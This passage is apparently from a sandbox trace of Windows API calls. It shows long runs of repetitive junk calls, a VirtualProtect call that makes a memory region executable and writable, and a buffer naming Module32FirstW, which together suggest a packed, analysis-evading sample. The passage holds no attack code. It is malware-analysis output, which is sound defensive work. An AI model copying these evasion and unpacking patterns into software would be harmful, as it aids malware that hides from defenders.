lpCPInfo=0x18fa10) returned 1 [0052.339] GetACP () returned 0x4e4 [0052.339] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.339] GetACP () returned 0x4e4 [0052.339] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.339] GetACP () returned 0x4e4 [0052.339] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.339] GetACP () returned 0x4e4 [0052.339] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.339] GetACP () returned 0x4e4 [0052.339] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.339] GetACP () returned 0x4e4 [0052.339] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.339] GetACP () returned 0x4e4 [0052.339] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.339] GetACP () returned 0x4e4 [0052.339] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.339] GetACP () returned 0x4e4 [0052.339] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.340] GetACP () returned 0x4e4 [0052.340] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.340] GetACP () returned 0x4e4 [0052.340] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.340] GetACP () returned 0x4e4 [0052.340] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.340] GetACP () returned 0x4e4 [0052.340] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.340] GetACP () returned 0x4e4 [0052.340] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.340] GetACP () returned 0x4e4 [0052.340] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.340] GetACP () returned 0x4e4 [0052.340] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.340] GetACP () returned 0x4e4 [0052.340] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.340] GetACP () returned 0x4e4 [0052.440] VirtualProtect (in: lpAddress=0x585ac0, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0052.441] AddAtomA (lpString=0x0) returned 0x0 [0052.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.441] AddAtomA (lpString=0x0) returned 0x0 [0052.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.441] AddAtomA (lpString=0x0) returned 0x0 [0052.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.442] AddAtomA (lpString=0x0) returned 0x0 [0052.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.442] AddAtomA (lpString=0x0) returned 0x0 [0052.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.442] AddAtomA (lpString=0x0) returned 0x0 [0052.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.442] AddAtomA (lpString=0x0) returned 0x0 [0052.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.442] AddAtomA (lpString=0x0) returned 0x0 [0052.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.442] AddAtomA (lpString=0x0) returned 0x0 [0052.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.442] AddAtomA (lpString=0x0) returned 0x0 [0052.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.442] AddAtomA (lpString=0x0) returned 0x0 [0052.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.443] AddAtomA (lpString=0x0) returned 0x0 [0052.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.443] AddAtomA (lpString=0x0) returned 0x0 [0052.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.443] AddAtomA (lpString=0x0) returned 0x0 [0052.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.443] AddAtomA (lpString=0x0) returned 0x0 [0052.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.443] AddAtomA (lpString=0x0) returned 0x0 [0052.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.443] AddAtomA (lpString=0x0) returned 0x0 [0052.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.443] AddAtomA (lpString=0x0) returned 0x0 [0052.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.443] AddAtomA (lpString=0x0) returned 0x0 [0052.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.443] AddAtomA (lpString=0x0) returned 0x0 [0052.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.443] AddAtomA (lpString=0x0) returned 0x0 [0052.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.443] AddAtomA (lpString=0x0) returned 0x0 [0052.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.444] AddAtomA (lpString=0x0) returned 0x0 [0052.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.444] AddAtomA (lpString=0x0) returned 0x0 [0052.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.444] AddAtomA (lpString=0x0) returned 0x0 [0052.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.444] AddAtomA (lpString=0x0) returned 0x0 [0052.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.444] AddAtomA (lpString=0x0) returned 0x0 [0052.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.444] AddAtomA (lpString=0x0) returned 0x0 [0052.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.444] AddAtomA (lpString=0x0) returned 0x0 [0052.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.444] AddAtomA (lpString=0x0) returned 0x0 [0052.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.444] AddAtomA (lpString=0x0) returned 0x0 [0052.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.444] AddAtomA (lpString=0x0) returned 0x0 [0052.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.444] AddAtomA (lpString=0x0) returned 0x0 [0052.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.444] AddAtomA (lpString=0x0) returned 0x0 [0052.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.445] AddAtomA (lpString=0x0) returned 0x0 [0052.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.445] AddAtomA (lpString=0x0) returned 0x0 [0052.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.445] AddAtomA (lpString=0x0) returned 0x0 [0052.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.445] AddAtomA (lpString=0x0) returned 0x0 [0052.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.445] AddAtomA (lpString=0x0) returned 0x0 [0052.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.445] AddAtomA (lpString=0x0) returned 0x0 [0052.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.445] AddAtomA (lpString=0x0) returned 0x0 [0052.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.445] AddAtomA (lpString=0x0) returned 0x0 [0052.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.445] AddAtomA (lpString=0x0) returned 0x0 [0052.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.445] AddAtomA (lpString=0x0) returned 0x0 [0052.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.445] AddAtomA (lpString=0x0) returned 0x0 [0052.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.446] AddAtomA (lpString=0x0) returned 0x0 [0052.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.446] AddAtomA (lpString=0x0) returned 0x0 [0052.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.446] AddAtomA (lpString=0x0) returned 0x0 [0052.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.446] AddAtomA (lpString=0x0) returned 0x0 [0052.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.446] AddAtomA (lpString=0x0) returned 0x0 [0052.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.446] AddAtomA (lpString=0x0) returned 0x0 [0052.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.446] AddAtomA (lpString=0x0) returned 0x0 [0052.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.446] AddAtomA (lpString=0x0) returned 0x0 [0052.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.446] AddAtomA (lpString=0x0) returned 0x0 [0052.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.446] AddAtomA (lpString=0x0) returned 0x0 [0052.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.446] AddAtomA (lpString=0x0) returned 0x0 [0052.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.447] AddAtomA (lpString=0x0) returned 0x0 [0052.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.447] AddAtomA (lpString=0x0) returned 0x0 [0052.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.447] AddAtomA (lpString=0x0) returned 0x0 [0052.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.447] AddAtomA (lpString=0x0) returned 0x0 [0052.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.447] AddAtomA (lpString=0x0) returned 0x0 [0052.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.447] AddAtomA (lpString=0x0) returned 0x0 [0052.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.447] AddAtomA (lpString=0x0) returned 0x0 [0052.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.447] AddAtomA (lpString=0x0) returned 0x0 [0052.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.447] AddAtomA (lpString=0x0) returned 0x0 [0052.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.447] AddAtomA (lpString=0x0) returned 0x0 [0052.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.447] AddAtomA (lpString=0x0) returned 0x0 [0052.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.448] AddAtomA (lpString=0x0) returned 0x0 [0052.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.448] AddAtomA (lpString=0x0) returned 0x0 [0052.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.448] AddAtomA (lpString=0x0) returned 0x0 [0052.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.448] AddAtomA (lpString=0x0) returned 0x0 [0052.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.448] AddAtomA (lpString=0x0) returned 0x0 [0052.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.448] AddAtomA (lpString=0x0) returned 0x0 [0052.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.448] AddAtomA (lpString=0x0) returned 0x0 [0052.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.448] AddAtomA (lpString=0x0) returned 0x0 [0052.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.448] AddAtomA (lpString=0x0) returned 0x0 [0052.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.448] AddAtomA (lpString=0x0) returned 0x0 [0052.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.448] AddAtomA (lpString=0x0) returned 0x0 [0052.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.448] AddAtomA (lpString=0x0) returned 0x0 [0052.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.449] AddAtomA (lpString=0x0) returned 0x0 [0052.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.449] AddAtomA (lpString=0x0) returned 0x0 [0052.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.449] AddAtomA (lpString=0x0) returned 0x0 [0052.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.449] AddAtomA (lpString=0x0) returned 0x0 [0052.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.449] AddAtomA (lpString=0x0) returned 0x0 [0052.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.449] AddAtomA (lpString=0x0) returned 0x0 [0052.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.449] AddAtomA (lpString=0x0) returned 0x0 [0052.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.449] 